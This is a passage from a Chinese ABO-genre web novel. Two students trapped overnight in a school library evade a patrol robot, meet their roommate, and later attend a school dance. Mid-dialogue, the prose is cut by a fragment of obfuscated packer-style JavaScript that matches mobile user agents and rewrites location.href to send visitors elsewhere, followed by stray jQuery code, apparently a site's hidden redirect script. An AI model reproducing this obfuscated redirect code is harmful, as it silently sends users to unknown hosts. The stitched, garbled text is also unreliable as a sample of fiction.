时楸亦听见了,没动。 简令祁微拧眉,抿了下唇有点不耐烦:“我去看。” 准备松开手时却被骤然抓紧,他转过身,目光落在时楸亦身上。 “……别把我一个人留这儿啊,我可害怕,”时楸亦说得理直气壮,握紧了简令祁的手,“我跟你一起去看。” 这次换简令祁没动了,一双浅色眼睛看着时楸亦:“你的手机有手电筒,打开照明。” 时楸亦一边回看着他,一边用另一只手摸出手机,伸到简令祁面前按了下开机键,没动静。他粲然一笑:“哦!没电了,真是太倒霉了。” 简令祁:…… 手电筒的光一晃,扫过一个机器形状的物件。还没等那小机器人转过身来,简令祁眼疾手快按灭了光。 时楸亦还没反应过来什么情况,就被拉着蹲下,恍惚间背抵在书柜上,嘴被手背使劲捂住,细腻的触感压在唇上,把他下意识要脱口而出的声音堵了个严严实实。 偌大的图书馆内常年开着空调,时楸亦只感觉一阵阵阴森冷气扫过,空气安静到连呼吸的声音都清晰可闻。他垂下眼睫,攥紧了手心里属于另一个人的手,从中获取点微乎其微的安全感。 耳垂忽然被被轻软的触感擦过,压低后极轻的嗓音紧凑在耳边响起:“别被发现。” 酥酥麻麻的感觉从耳垂一路蔓延至心脏。时楸亦身子一僵,眼睛频率很高地眨起来,透过手背传出一声闷闷的“嗯”。 简令祁由此松开了手,手心还攥着手机。 方才轻靠在自己身上的人离开后,时楸亦不动声色地缓缓吐出口气,才终于有闲心去思考他口中的“别被发现”是什么意思。 不过没思考几秒,他就看见了。 从远处往这边移动的小型机器人眼睛冒着红光,边摇头扫描,边前进,看起来矮小又呆傻。 这个巡逻机器人其实一点也不智能,检测到灯光灭去之后就自动开始工作,并且会在扫描到任何人形生物后自动拍照,将照片上传并留存。 但偏偏,一旦被拍到便算作违纪,会被通报批评。 他可不想违纪…… 时楸亦完全认真起来。 况且,有违纪记录的那一学年是不能拿奖学金的。简令祁会这么快做出反应就是因为这个。 图书馆内被照亮的地方只有机器人的冒红光的眼睛扫过之处,此刻又不能拿手机照明。简令祁只能采用最原始的办法,用手摸着书架走,竭力绕开这个并不智能的小机器人。 一般来说,巡逻机器人是有规定路线的,绕完后就会自动回到充电仓充电。所以只要避免和它正面撞上,逃过它的扫描就是一件很轻松的事了。 简令祁极缓慢地移动着,他记得前面几步有个拐角,转过去之后就可以躲在巡逻机器人身后了。 如果只有他一个人当然是件很简单的事,但时楸亦抓着他的手死活不放,非要和他来个共进退。简令祁也不可能在这个时候和身旁厚脸皮的人争论这个,然后把巡逻机器人引来将他们二人一网打尽。 他小步小步靠着书架移动,每走一步身后就会立刻贴上来半具滚烫身躯,似有若无的身体接触,他终于停了步子转过头去:“你能不能……” 他还没说完时楸亦就知道了他想说什么,立刻解释:“我这不是怕跟丢吗?” 一片漆黑里很难把控好适当的社交距离,比如此刻时楸亦就不知道他离简令祁有多近,但他一低头就能闻见仿佛属于阳光的暖洋洋气味,浅淡得近乎没有的香气,在视觉丧失时格外明显,驱使着他低头追逐。 头越来越低,直到与皮肤接触的那一刹那让他猛然回神,高挺的鼻梁,鼻尖在那块肌肤上蹭了蹭,小声说道:“我觉得你有点香。你平时喷香水吗?” 这个动作将他的后颈完全暴露出来,贴了片阻隔贴,微突起点弧度。 简令祁不用低头都能闻见混杂着点果香的草木气息,大概是……山茶花的香味? 他只闻了这么一小会儿,头就开始发昏了。 奇了怪了,怎么最近总闻到莫名其妙的味道。 他将其归结为是时楸亦喷了他闻不惯的香水,没多纠结。远远看了眼正朝他们而来的机器人,推开了埋在自己脖颈处吸猫似的时楸亦,提醒:“你是想这样被拍张照吗?” 时楸亦想了想这样被拍出来的样子。 嘶。不太好。 “对不起啊,可能是易感期快到了。”时楸亦小声说了句,不知道是在说给简令祁听还是说给自己听。 两人牵着手慢吞吞绕过转角,小心翼翼地,总算成功避开了机器人的扫描范围。 简令祁半倚在书架上,闭目养神。时楸亦现在还抓着他的手,他也懒得骂了,干脆就这样下去。 巡逻机器人没回到充电仓之前,他们什么也干不了。 时楸亦自己一个人不知道想了些什么,过了好半晌侧过头来,不死心问道:“你真的没喷香水吗?可是我真的觉得你身上挺香的。” “……多巴胺,一种神经递质。当人面对具有性.吸引力的伴侣时,大脑中的多巴胺水平通常会显著上升,产生愉悦和兴奋感,同时增强对气味的敏感性。” 微冷质感的嗓音传至耳边,没头没尾显得有些莫名其妙的科普性枯燥话语。 并未直接点明,却令时楸亦浑身肌肉绷紧,捏着书架的手用力了几分,眉梢微挑,当真思索了起来:“原来是这样的吗?” 他跟在简令祁后面几乎是寸步不离跟了三个月,原来他喜欢上对方了?难怪他头一回这么有耐心和毅力。 简令祁顿了下,道:“骗你的。” “是洗衣液的味道。” 时楸亦怔愣几秒,旋即一笑:“你还会开玩笑呢?……” 声音戛然而止。厚书砸在书架上发出一声闷响,直接打断了他的话。 看着转身飞速冲向他们这边的巡逻机器人,时楸亦下意识“啧”了一声,眉眼上浸上点冷冽。 简令祁突然想到先前在拐角处看见的黑影。 看来是同样意外被困图书馆的人吗?所以是……故意朝这边扔书? 他的思绪微滞。 时楸亦在他们相牵的手上用力一拽,简令祁被这么一带落进他怀里,后脑勺又被宽大手掌一摁,额头生生撞在他肩上,健身房练出的一身肌肉硬得出奇。 他五指都陷在柔顺的黑发中,骨节分明,另一只手按在少年劲瘦的腰上,将人挡了个七七八八,仿佛是一刻也不愿意别人多看,像金屋藏娇了似的。 简令祁被按在书架和他之间,被闷得有点难以呼吸。特别是用力呼吸时,鼻尖嗅到的满是山茶花香,不知怎的闻得他晕乎乎的,和喝醉酒了没两样,身体升起点不对劲的感觉。 巡逻机器人按部就班赶过来,迅速地扫过他们,发出“滴”的一声,将照片留存上传,接着又马不停蹄赶了回去。 简令祁被书架和面前人的宽阔肩背挡了个大半,只露出一点不明显的身影,如果不是特别熟悉他的人是绝对认不出来的。 时楸亦撤了手,脸上的神情一松,好整以暇地环臂靠在书架上:“要怎么感谢我呢?” 他没等到简令祁回应,有点奇怪,十分自然从简令祁上衣口袋里摸出手机,按亮屏幕,试图通过这点亮度看清身边人的表情。 反正已经被拍了照了,他已经无所畏惧了。 几乎是瞬间,简令祁的大拇指压在他的拇指上用力,将屏幕亮光灭掉,扣了过来。 但即便只有一瞬的亮光,alpha极好的动态视力也促使他看见了面前人此刻的状态。 好像有点不太对劲。脸红红的,手撑在架子上微垂着头深呼吸,方才抬眼看他一眼,浅色覆上一层淋淋水光,大大削减了平时身上那一份锐利的冷意。 而且,如果他没看错的话,简令祁的额头上有一小半比其他地方更红些的区域。是……是他刚刚没轻没重压了下,在他肩上硌出来的吗? 时楸亦眼皮跳了下,不自禁地想,一个beta,皮肤怎么娇成这样? “你怎么了?”时楸亦伸出手搭在他额头上,也有点烫,皱起眉小声嘀咕,“你可别碰瓷啊,我和你说,我们今晚肯定是得在图书馆过夜了……” 简令祁打断:“你能不能安静点。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14305294|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 时楸亦适时地闭上了嘴。 简令祁的耳边终于安静下来,他垂着眸,热气不断上涌,显在脸上,一阵一阵地泛红,本来莹白的肌肤染成一片玫瑰似的嫣红,甚至有愈演愈烈的趋势。 但与之全然相反的,是他丝毫不受影响的冷静眸色。 到底怎么回事? 他轻压着下唇,极小声的呼吸声微急,有点像是抑制不住溢出喉间的喘息。 连带着时楸亦的呼吸都加快了几分,被此刻莫名暧昧地气氛带的有些不自然了,缓缓往旁边挪,离简令祁远了些。 山茶花香的逐渐浅淡,简令祁却突觉热意消减了几分,勉强脱离了方才的状态。他莫名有了个猜想,清凌凌的气声混着点喘,在寂静的环境中格外涩.情:“你的信息素是什么味道?” 这样的对话,这样的嗓音,不应该在图书馆出现,更适合在某种特定的场合作为提高性.欲的兴奋剂。 时楸亦往旁边挪动的动作一僵,耳朵尖一抖,旋即红透:“你、你问这个干嘛?” 刻意强调:“我觉得我们只是普通朋友,你这样直接问,……不、不太好吧。” 简令祁把头偏向远离他的那一边,浅浅呼吸着,语调没什么起伏:“和你讲话怎么这么费劲?” 时楸亦刚还矜持着的嘴角立马往下一撇,不满地从齿间憋出几个字:“山茶花!这下行了吧!” 简令祁心道一声果然。 虽然不知道为什么他一个beta能闻到时楸亦的信息素味道,但他确实是受到了影响。 机器人巡逻完后回归原位,进入了休眠。简令祁重新打开了手电筒。 时楸亦一抬眼才发现,他和简令祁此刻隔着遥远的距离,遥遥对望。轻咳一声,他暗忖,他有移这么长一段距离吗? 刚迈步想朝简令祁走去,就被那人制止了。 恢复正常的简令祁又是清冷不近人情的模样:“别动了,就这样吧。” 时楸亦暗暗思索了下自己哪里又惹到了他,没想出个所以然来,只好不太开心地说了句:“你性子真的很差诶。” 他环臂,神情恹恹靠着书架。视线蓦然落到地上那本厚重的书上。 刚才砸上书架引来那智障机器人注意的就是这玩意儿。 “时楸亦。”很轻的一声。 时楸亦循声朝简令祁看去。还没看清他的脸,就见着一个不知道什么东西被扔了过来,连忙伸手接住。 手机在他手里弹了几下,他面色慌忙,最后总算握紧了,不禁下意识松下口气,抬眸看向简令祁,有点抱怨的意思:“你真是……也不提前说一声。” 旋即他像是明了了什么,突然扬唇自信一笑:“就这么相信我?” 简令祁侧过头看向他,一边用掌心轻轻按揉着额头的红印,蒙了层雾气的眼睛漂亮得不似真人,像橱窗里摆出展览的精致娃娃。 “图书馆里还有别的人。” 时楸亦很快就知道了他话中的意思,耸耸肩,不再懒洋洋靠在架子上:“好吧好吧。我知道了。” 不就是把那个人给抓过来吗?反正图书馆大门锁着,想在馆内走动又得打着灯,找个人是个多轻松的事。 时楸亦拿着手机走后,简令祁所在区域就陷入寂寥的黑暗了。他仰靠在书架上,双手轻拍了拍自己的脸,试图用这种明显的无用功来降低莫名升起的温度。 大概是离太近的那一瞬间,闻见的信息素浓度大幅提高,他一个对此完全没有抗体的人一时无法抵抗。 不过—— 他闻到的室友身上的橘子汽水味又是怎么一回事?信息素…… 他回忆起自己特地注意了室友的后颈,明显是光滑一片的,实打实的是beta。难道还有什么药剂能让omega伪装成beta?可这有什么目的呢?圣维埃可没好到让一个omega顶着特招生的名头入学的地步。 简令祁迅速放弃了这个猜测,只静静靠着,不再去思考别的事情。 但他迎着亮光睁开眼时,居然看见了方才正巧想到的人。 “学长?你也在这儿?”乔榆弯着眼睛,有些惊喜地望着他。 “罪魁祸首给你抓到了。”略落后一步的时楸亦半阖着眼看他,和他对上视线时笑了一下。 “什么罪魁祸首?”乔榆有点状况外的意思,他眼尾下垂,显得无辜又茫然。 指了指自己,一双黑溜溜的圆眼却不是看着时楸亦,反而把视线落在简令祁身上,眨了眨,“我吗?” 19.第 19 章 偌大的图书馆陷入漆黑一片,唯独的几点亮光来自于同一区域。 两部手机被摆在地上做了照明工具,时楸亦和乔榆坐在同一边,隔了好些距离。离得更远的是坐在对面的简令祁,还戴上了乔榆友情提供的蓝色医疗口罩,把脸遮了大半,只露出漂亮漆黑的眉眼。 “对不起啊,我不知道学长你也在这里。”乔榆很愧疚地垂着头,抬眼小心翼翼看了眼简令祁,又迅速垂下去。 解释道:“当时那个机器人快扫描到我了,我来不及跑,情急之下只能采取这种措施,没想到这么巧……刚好你们就在这里——真的很对不起!” 简令祁安静听着,露出的一双浅棕色眼睛情绪没有丝毫变化,让人看不出他是信了还是没信。 时楸亦越听越不对劲,皱着眉插了句:“我呢?不向我道歉吗?” 他才是那个最大受害人好吧! 乔榆从善如流转向他,双手合十,表情是不作伪的真挚:“也很对不起你。” 时楸亦这才收回视线,随意地四处落着,却在扫过对面的简令祁时一停。 漫无天际地胡乱想着,怎么突然戴了口罩?刚刚还脸绯红一片……嘶,等等——简令祁不会是喜欢上他了吧? 他的目光犹疑了起来,流连在简令祁露出的精致眉眼上。 他承认这人是有几分美貌在身上,但他可不是那么肤浅的人……那、如果简令祁和他表白了,他该怎么委婉地拒绝啊? 毕竟经刚才那一遭,两人也算是普通朋友了吧,如果拒绝得太过直白,万一因爱生恨了以后对他更严格怎么办?不行不行不行。 时楸亦一只腿蜷起,一只腿伸长,手随性地搭在膝盖上,一头标志性白发晃动着很是引人注意,此时眼睛若有所思盯着简令祁,终于引来了他的视线。 简令祁回看他,一如既往的冷淡,没有说话。 乔榆倒是很乖巧地举了下手说话了,他犹豫了一会儿,小声问道:“那我们……是不是可以出去了?” 早就过了原定闭馆时间,就算一开始断电门尚未自动上锁,这时候也毫无疑问锁上了门。 简令祁收回看时楸亦的视线,转而问乔榆,声音淡淡的:“你觉得门是开着的?” 他没有直接对乔榆说出事实,而是先抛出了这样一个问题。 时楸亦托着下巴,与世隔绝般专心盯着简令祁看,保持着若有所思的神情,陷在自己的思考中无法自拔,越想越觉得有道理。 如果简令祁不喜欢他的话,肯定会抵触他方才超出普通朋友界限的触碰的。但是他没有,这说明什么?……细思恐极。 乔榆把背着的书包脱下,双手紧抱在怀里,一边认认真真地回答简令祁的问题:“我是觉得,刚才机器人扫描到了图书馆有人在内,应该会把门打开吧……难道就任由我们在图书馆里过夜吗?” 他逻辑十分清晰,说得也很有道理。但没办法,圣维埃的制度就是如此的离谱和匪夷所思。那个巡逻机器人的的确确只具有最简单的功能,其余的一并没有。 “你以为巡逻机器人检测到图书馆有人就会打开大门,”简令祁简单总结了下,“所以你故意朝这边扔书,暴露我们位置。” 他静静看着乔榆,碎发微遮住点眉眼,但丝毫不影响那双眼睛里透出的冷意。 很突然又过分直白的话语让人很难在一瞬间做出反应,几乎都会顺着他的话去思考。 时楸亦终于从自己的遐想中分出了丝神出来,顺着简令祁的话去想,也后知后觉察觉到点不对劲。于是百无聊赖地跟着看向乔榆,很不认真的模样。 乔榆闻言微微睁大眼睛,没有表现出任何被质问后慌乱的情绪,还是一副小白花的模样,片刻后眨眨眼睛,笑起来:“学长这样揣测我的话,我都有点难过了。明明我也是被困在图书馆的倒霉蛋……” 简令祁抿了下唇,垂下眼:“……抱歉。” 乔榆这下愣住了,得到简令祁的道歉完全在他意料之外,温和柔钝的眉眼更加放松下来:“没关系的。如果我们换个身份,我也会产生同样的怀疑。” 时间一点点过去,夜色渐深,入夜后冷空气更加肆虐。 简令祁蜷成一团,半侧着身靠在书架上,手里拿着本书看。就是先前准备看的那本ABO相关书籍。 基本适应了空气中浅淡气味之后,他就没再戴口罩了,闷得他有点难受。 他单手拿着书,另一只手搭在小腹上方一点,微拧着眉看起来有点不舒服的意思。 山茶花香突然逼近,简令祁条件反射想坐起身,就被那人强硬地按着肩膀压下了。 黑色制服外套盖在了身上,先前覆在外套上的信息素仿佛织了层细密的网将简令祁整个人拢在其中。 简令祁又被这气味勾得有点浑身发热了,但好在反应不是很明显,反而让他更暖和了些,他也就没有拒绝,礼貌道了声谢。 时楸亦送完后其实是有点后悔的。 他明明已经知道简令祁暗恋他了还主动送上外套,这不就是让对方误会更深吗?!不对不对不对,他以后应该保持距离才对。 但听见少年清凌凌的一声道谢后,他又耳朵一红,视线乱窜,手摸上后脑勺的头发轻晃了晃,故作随意的语气:“举手之劳而已。” 乔榆始终看着简令祁按在小腹上方的手,突然想到什么,开始在书包里翻找。 找找找——找出一袋压缩饼干。 他快步走过去,蹲在简令祁面前,弯着眼笑:“你今天是不是又没有吃晚饭。” 不是疑问,而是了然于心。 简令祁抬起眸,卷而翘的睫毛微颤了下,漂亮的浅色眼睛此刻终于显出了点属于这个年龄阶段的好奇,像是在问他怎么知道的。 乔榆唇角含笑,垂下眸子,一边撕开饼干包装,一边慢慢解释:“你每周的这天都会去实验室,一忙起来就会忘记时间,忘记吃饭。我们是室友,我当然知道啦。——张嘴。” 饼干被递到简令祁嘴边,一张嘴就能咬到。但他没有就着乔榆的手咬下,而是伸手接过了。 乔榆看着他慢吞吞低头吃饼干的模样,眸里的笑都快溢出来了。 放在地上的手机突然响了一下,是来消息了。 简令祁嘴里咬住饼干,伸手把手机捞了起来。 【林泊知:舞伴有人选了吗?】 他半垂着眼,小口小口咬着饼干,没犹豫就开始打字。 【不会有舞伴。】 他去年就拒绝了所有邀请他做舞伴的人,今年也不会有。 乔榆方才刚好扫到“舞伴”两个字,适时出声:“对了,这个舞会是怎么一回事啊?我刚来,还不太了解。只知道……好像全校人都必须参加。” 简令祁道:“没什么意义。” 乔榆接着问:“那没有礼服怎么办?” 简令祁打字的动作一顿,看向他:“规定所有人都穿统一制服的。你没看通知吗?” 乔榆像是这才知道了一样,有点不好意思地摸了摸鼻子,也拿起了自己的手机,顺势坐在他边上:“之前没太仔细看。” 时楸亦在对面胡思乱想了好一会儿,纯情得耳朵滚烫,一抬眼突然发现以目前这个站位,他就像是被孤立了一样。 时楸亦:……? * 灯光交错的礼堂中央,成双成对的人手搭着手,脸上挂着得体的优雅笑容,在其间穿梭起舞。 偏暗的灯光,陶醉的音乐,不浓不淡恰到好处的酒味蔓延,空间里的一切都染上一层暧昧的绯色。 简令祁不在舞会中心,他甚至还拿了一本晦涩难懂的小说在看,安安静静的模样和整个舞会都格格不入——干净,漂亮,有种不染纤尘的游离感。 有人忍不住去想。在这种环境下,他真的能看得进去吗? 真不愧是自从转学以 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有几个alpha的上衣都脱了,露出了上身结实的肌肉,一面又不服气地继续玩,想要在下一回合报复回来,一面又忍不住往简令祁那边瞟,不动声色地全方位展示自己练出的肌肉。 可惜全被那人忽视了。 简令祁似乎真把自己当成了来凑人头的,全程没说几句话。几个回合下来没被惩罚不说,还运气好拿了几回国王牌。 指定的惩罚始终不咸不淡的,歌曲对唱,互相喂着吃颗糖什么的,乏味极了,却又有种与渐渐火热的氛围截然不同的干净清爽。 “哦!这把我是国王!!”那个上身脱干净了的alpha摩拳擦掌,兴奋地开始想起损招来,准备来个大的报复回来。 他扫到桌上一盒pocky,灵光一闪,不怀好意地笑道:“那就红桃五和红桃七玩pocky游戏吧,从两端开始吃,最后长度不能超过……两厘米。” 场上静了下来,面面相觑。 大家都是熟人,玩这个……也太暧昧了吧,以后还怎么相处? 有人试图争取下:“换个吧,或者加长点也行,三厘米?四厘米?” 男生笑眯眯拒绝:“愿赌服输,快点快点啊。不敢来就喝酒。” 惩罚所喝的酒不是正常的酒,是他们在游戏开始前调出来的,其实就是把不同的酒胡乱混合在了一起,味又冲又上头,度数高得出奇。 一小杯进了胃里就和炸弹似的,和童话故事里巫婆熬的毒药没什么两样。因此前几轮选择喝酒的寥寥无几。 简令祁向后仰了仰身子,微拧了下眉,有点为难的,粉色的唇瓣抿入口中,覆上层晶莹水色。 小指勾起将纸牌翻过,上面赫然是红桃七。 “红桃七是我。” 冷淡的语调过后,他抬眼,浅色眸子微动,像是在这桌人里寻找红桃五——与他一同接受惩罚的对象。 原本安静的氛围这会儿更是跟沉寂下来了一样。 方才还暗暗庆幸自己没抽到这两张牌中任意一张的人此刻蓦然就懊恼了起来。 抽到国王牌的男生慌忙掀开自己那张暗牌查看,看见不是红桃五,紧闭了闭眼,心猛地一跳。 嘴上结结巴巴:“我觉得刚才那个人说的有道理,没必要非得要两厘米,我看剩个八厘米得了吧。” 剩下的人反应过来,也跟着七嘴八舌附和。 “就八厘米吧,大家都是朋友,太暧昧了也不好。” “我看剩个十五厘米就行,咬两口意思下,惩罚不就到位了吗?” 其他人因这句话顿了一下。兄弟还是你敢说啊,总长度不就十六厘米左右吗? 但旋即又硬着头皮跟着说:“……其实我觉得他说的在理,十五厘米挺好的。对吧。” “对对对,我看行。” 他们四处看着,眼神不自觉地往身边人手中的纸牌上瞟。 所以到底谁是那个撞了大运的红桃五啊?!!